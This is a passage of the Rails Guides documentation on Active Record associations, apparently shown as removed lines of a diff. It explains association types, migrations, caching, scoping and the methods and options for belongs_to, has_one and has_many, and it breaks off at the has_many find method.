-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
-
-* +belongs_to+
-* +has_one+
-* +has_many+
-* +has_many :through+
-* +has_one :through+
-* +has_and_belongs_to_many+
-
-In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
-
-h4. The +belongs_to+ Association
-
-A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-!images/belongs_to.png(belongs_to Association Diagram)!
-
-h4. The +has_one+ Association
-
-A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-</ruby>
-
-!images/has_one.png(has_one Association Diagram)!
-
-h4. The +has_many+ Association
-
-A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
-
-!images/has_many.png(has_many Association Diagram)!
-
-h4. The +has_many :through+ Association
-
-A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
-
-<ruby>
-class Physician < ActiveRecord::Base
-  has_many :appointments
-  has_many :patients, :through => :appointments
-end
-
-class Appointment < ActiveRecord::Base
-  belongs_to :physician
-  belongs_to :patient
-end
-
-class Patient < ActiveRecord::Base
-  has_many :appointments
-  has_many :physicians, :through => :appointments
-end
-</ruby>
-
-!images/has_many_through.png(has_many :through Association Diagram)!
-
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
-
-<ruby>
-class Document < ActiveRecord::Base
-  has_many :sections
-  has_many :paragraphs, :through => :sections
-end
-
-class Section < ActiveRecord::Base
-  belongs_to :document
-  has_many :paragraphs
-end
-
-class Paragraph < ActiveRecord::Base
-  belongs_to :section
-end
-</ruby>
-
-h4. The +has_one :through+ Association
-
-A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-  has_one :account_history, :through => :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  has_one :account_history
-end
-
-class AccountHistory < ActiveRecord::Base
-  belongs_to :account
-end
-</ruby>
-
-!images/has_one_through.png(has_one :through Association Diagram)!
-
-h4. The +has_and_belongs_to_many+ Association
-
-A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-!images/habtm.png(has_and_belongs_to_many Association Diagram)!
-
-h4. Choosing Between +belongs_to+ and +has_one+
-
-If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
-
-The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-end
-</ruby>
-
-The corresponding migration might look like this:
-
-<ruby>
-class CreateSuppliers < ActiveRecord::Migration
-  def self.up
-    create_table :suppliers do |t|
-      t.string  :name
-      t.timestamps
-    end
-
-    create_table :accounts do |t|
-      t.integer :supplier_id
-      t.string  :account_number
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :accounts
-    drop_table :suppliers
-  end
-end
-</ruby>
-
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
-
-h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
-
-Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_many :manifests
-  has_many :parts, :through => :manifests
-end
-
-class Manifest < ActiveRecord::Base
-  belongs_to :assembly
-  belongs_to :part
-end
-
-class Part < ActiveRecord::Base
-  has_many :manifests
-  has_many :assemblies, :through => :manifests
-end
-</ruby>
-
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
-
-You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
-
-h4. Polymorphic Associations
-
-A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
-
-<ruby>
-class Picture < ActiveRecord::Base
-  belongs_to :imageable, :polymorphic => true
-end
-
-class Employee < ActiveRecord::Base
-  has_many :pictures, :as => :imageable
-end
-
-class Product < ActiveRecord::Base
-  has_many :pictures, :as => :imageable
-end
-</ruby>
-
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
-
-Similarly, you can retrieve +@product.pictures+.
-
-If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
-  def self.up
-    create_table :pictures do |t|
-      t.string  :name
-      t.integer :imageable_id
-      t.string  :imageable_type
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :pictures
-  end
-end
-</ruby>
-
-This migration can be simplified by using the +t.references+ form:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
-  def self.up
-    create_table :pictures do |t|
-      t.string :name
-      t.references :imageable, :polymorphic => true
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :pictures
-  end
-end
-</ruby>
-
-!images/polymorphic.png(Polymorphic Association Diagram)!
-
-h4. Self Joins
-
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
-
-<ruby>
-class Employee < ActiveRecord::Base
-  has_many :subordinates, :class_name => "Employee",
-    :foreign_key => "manager_id"
-  belongs_to :manager, :class_name => "Employee"
-end
-</ruby>
-
-With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
-
-h3. Tips, Tricks, and Warnings
-
-Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
-
-* Controlling caching
-* Avoiding name collisions
-* Updating the schema
-* Controlling association scope
-
-h4. Controlling Caching
-
-All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
-
-<ruby>
-customer.orders                 # retrieves orders from the database
-customer.orders.size            # uses the cached copy of orders
-customer.orders.empty?          # uses the cached copy of orders
-</ruby>
-
-But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
-
-<ruby>
-customer.orders                 # retrieves orders from the database
-customer.orders.size            # uses the cached copy of orders
-customer.orders(true).empty?    # discards the cached copy of orders
-                                # and goes back to the database
-</ruby>
-
-h4. Avoiding Name Collisions
-
-You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
-
-h4. Updating the Schema
-
-Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
-
-h5. Creating Foreign Keys for +belongs_to+ Associations
-
-When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-This declaration needs to be backed up by the proper foreign key declaration on the orders table:
-
-<ruby>
-class CreateOrders < ActiveRecord::Migration
-  def self.up
-    create_table :orders do |t|
-      t.datetime :order_date
-      t.string   :order_number
-      t.integer  :customer_id
-    end
-  end
-
-  def self.down
-    drop_table :orders
-  end
-end
-</ruby>
-
-If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
-
-h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
-
-If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-
-WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
-
-Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
-
-<ruby>
-class CreateAssemblyPartJoinTable < ActiveRecord::Migration
-  def self.up
-    create_table :assemblies_parts, :id => false do |t|
-      t.integer :assembly_id
-      t.integer :part_id
-    end
-  end
-
-  def self.down
-    drop_table :assemblies_parts
-  end
-end
-</ruby>
-
-We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
-
-h4. Controlling Association Scope
-
-By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
-
-<ruby>
-module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account
-    end
-
-    class Account < ActiveRecord::Base
-       belongs_to :supplier
-    end
-  end
-end
-</ruby>
-
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
-
-<ruby>
-module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account
-    end
-  end
-
-  module Billing
-    class Account < ActiveRecord::Base
-       belongs_to :supplier
-    end
-  end
-end
-</ruby>
-
-To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
-
-<ruby>
-module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account,
-        :class_name => "MyApplication::Billing::Account"
-    end
-  end
-
-  module Billing
-    class Account < ActiveRecord::Base
-       belongs_to :supplier,
-        :class_name => "MyApplication::Business::Supplier"
-    end
-  end
-end
-</ruby>
-
-h3. Detailed Association Reference
-
-The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
-
-h4. +belongs_to+ Association Reference
-
-The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
-
-h5. Methods Added by +belongs_to+
-
-When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-Each instance of the order model will have these methods:
-
-<ruby>
-customer
-customer=
-build_customer
-create_customer
-</ruby>
-
-h6. _association_(force_reload = false)
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@customer = @order.customer
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6. _association_=(associate)
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
-
-<ruby>
-@order.customer = @customer
-</ruby>
-
-h6. build_<em>association</em>(attributes = {})
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@customer = @order.build_customer(:customer_number => 123,
-  :customer_name => "John Doe")
-</ruby>
-
-h6. create_<em>association</em>(attributes = {})
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-
-<ruby>
-@customer = @order.create_customer(:customer_number => 123,
-  :customer_name => "John Doe")
-</ruby>
-
-
-h5. Options for +belongs_to+
-
-In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true,
-    :conditions => "active = 1"
-end
-</ruby>
-
-The +belongs_to+ association supports these options:
-
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_cache+
-* +:dependent+
-* +:foreign_key+
-* +:include+
-* +:polymorphic+
-* +:readonly+
-* +:select+
-* +:validate+
-
-h6. +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6. +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron"
-end
-</ruby>
-
-h6. +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :conditions => "active = 1"
-end
-</ruby>
-
-h6. +:counter_cache+
-
-The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
-
-Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => :count_of_orders
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
-
-h6. +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
-
-WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
-
-h6. +:foreign_key+
-
-By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron",
-    :foreign_key => "patron_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6. +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
-
-<ruby>
-class LineItem < ActiveRecord::Base
-  belongs_to :order, :include => :customer
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
-
-h6. +:polymorphic+
-
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6. +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-
-h6. +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
-
-h6. +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5. How To Know Whether There's an Associated Object?
-
-To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
-
-<ruby>
-if @order.customer.nil?
-  @msg = "No customer found for this order"
-end
-</ruby>
-
-h5. When are Objects Saved?
-
-Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
-
-h4. +has_one+ Association Reference
-
-The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
-
-h5. Methods Added by +has_one+
-
-When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-</ruby>
-
-Each instance of the +Supplier+ model will have these methods:
-
-<ruby>
-account
-account=
-build_account
-create_account
-</ruby>
-
-h6. <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@account = @supplier.account
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6. <tt><em>association</em>=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
-
-<ruby>
-@supplier.account = @account
-</ruby>
-
-h6. <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@account = @supplier.build_account(:terms => "Net 30")
-</ruby>
-
-h6. <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-
-<ruby>
-@account = @supplier.create_account(:terms => "Net 30")
-</ruby>
-
-h5. Options for +has_one+
-
-In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :class_name => "Billing", :dependent => :nullify
-end
-</ruby>
-
-The +has_one+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:dependent+
-* +:foreign_key+
-* +:include+
-* +:order+
-* +:primary_key+
-* +:readonly+
-* +:select+
-* +:source+
-* +:source_type+
-* +:through+
-* +:validate+
-
-h6. +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6. +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6. +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :class_name => "Billing"
-end
-</ruby>
-
-h6. +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :conditions => "confirmed = 1"
-end
-</ruby>
-
-h6. +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
-
-h6. +:foreign_key+
-
-By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :foreign_key => "supp_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6. +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
-  has_many :accounts
-end
-</ruby>
-
-If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :include => :representative
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
-  has_many :accounts
-end
-</ruby>
-
-h6. +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
-
-h6. +:primary_key+
-
-By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6. +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-
-h6. +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-h6. +:source+
-
-The +:source+ option specifies the source association name for a +has_one :through+ association.
-
-h6. +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-
-h6. :through
-
-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
-
-h6. +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5. How To Know Whether There's an Associated Object?
-
-To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
-
-<ruby>
-if @supplier.account.nil?
-  @msg = "No account found for this supplier"
-end
-</ruby>
-
-h5. When are Objects Saved?
-
-When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
-
-If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
-
-If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
-
-h4. +has_many+ Association Reference
-
-The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-
-h5. Methods Added
-
-When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.exist?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-Each instance of the customer model will have these methods:
-
-<ruby>
-orders(force_reload = false)
-orders<<(object, ...)
-orders.delete(object, ...)
-orders=objects
-order_ids
-order_ids=ids
-orders.clear
-orders.empty?
-orders.size
-orders.find(...)
-orders.exist?(...)
-orders.build(attributes = {}, ...)
-orders.create(attributes = {})
-</ruby>
-
-h6. <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@orders = @customer.orders
-</ruby>
-
-h6. <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
-
-<ruby>
-@customer.orders << @order1
-</ruby>
-
-h6. <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
-
-<ruby>
-@customer.orders.delete(@order1)
-</ruby>
-
-WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
-
-
-h6. <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6. <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@order_ids = @customer.order_ids
-</ruby>
-
-h6. <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6. <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
-
-h6. <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @customer.orders.empty? %>
-  No Orders Found
-<% end %>
-</ruby>
-
-h6. <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@order_count = @customer.orders.size
-</ruby>
-
-h6. <tt><em>collection</em>.find(...)</tt>
-
